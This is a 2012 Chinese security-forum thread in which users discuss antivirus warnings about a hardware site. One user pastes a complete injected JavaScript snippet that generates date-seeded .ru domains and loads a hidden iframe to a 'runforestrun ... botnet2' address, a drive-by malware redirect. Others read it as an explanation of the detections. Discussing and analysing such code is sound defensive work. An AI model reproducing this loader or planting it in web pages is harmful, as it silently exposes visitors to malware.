http://www.thhardwaremag.com/【孤独寂寞恨 by Castle Mango】

firefox3

wjhstu-VxG

赤裸裸的误报，连诺顿都爆了，害的我确认了好久

firefox3

wjhstu-VxG 发表于 2012-12-29 18:08
赤裸裸的误报，连诺顿都爆了，害的我确认了好久

哈哈哈  厉害厉害

wjhstu-VxG

firefox3 发表于 2012-12-29 18:09
哈哈哈  厉害厉害

还是没那些前辈厉害啊，但是基本都走了……好孤独

firefox3

wjhstu-VxG 发表于 2012-12-29 18:10
还是没那些前辈厉害啊，但是基本都走了……好孤独

function nextRandomNumber() {
    var hi = this.seed / this.Q;
    var lo = this.seed % this.Q;
    var test = this.A * lo - this.R * hi;
    if (test > 0) {
        this.seed = test;
    } else {
        this.seed = test + this.M;
    }
    return (this.seed * this.oneOverM);
}

function RandomNumberGenerator(unix) {
    var d = new Date(unix * 1000);
    var s = d.getHours() > 12 ? 1 : 0;
    this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));
    this.A = 48271;
    this.M = 2147483647;
    this.Q = this.M / this.A;
    this.R = this.M % this.A;
    this.oneOverM = 1.0 / this.M;
    this.next = nextRandomNumber;
    return this;
}

function createRandomNumber(r, Min, Max) {
    return Math.round((Max - Min) * r.next() + Min);
}

function generatePseudoRandomString(unix, length, zone) {
    var rand = new RandomNumberGenerator(unix);
    var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
    var str = '';
    for (var i = 0; i < length; i++) {
        str += letters[createRandomNumber(rand, 0, letters.length - 1)];
    }
    return str + '.' + zone;
}

setTimeout(function() {
    try {
        if (typeof iframeWasCreated == "undefined") {
            iframeWasCreated = true;
            var unix = Math.round(+new Date() / 1000);
            var domainName = generatePseudoRandomString(unix, 16, 'ru');
            ifrm = document.createElement("IFRAME");
            ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=botnet2");
            ifrm.style.width = "0px";
            ifrm.style.height = "0px";
            ifrm.style.visibility = "hidden";
            document.body.appendChild(ifrm);
        }
    } catch (e) {}
}, 500);

wjhstu-VxG

firefox3 发表于 2012-12-29 18:16
function nextRandomNumber() {
    var hi = this.seed / this.Q;
    var lo = this.seed % this.Q;
...

怎么了？

firefox3

wjhstu-VxG 发表于 2012-12-29 18:19
怎么了？

没怎么我刷屏呢 哈

wjhstu-VxG

firefox3 发表于 2012-12-29 18:21
没怎么我刷屏呢 哈

这个，是上面某个脚本吗？

这个脚本最后面，可能能解释一些随机数挂马地址产生的原因；如果是这样的话，到需要重新鉴定

GreenCodes

SEP报的是mass injection应该是混合式攻击

流星街

avast攔截~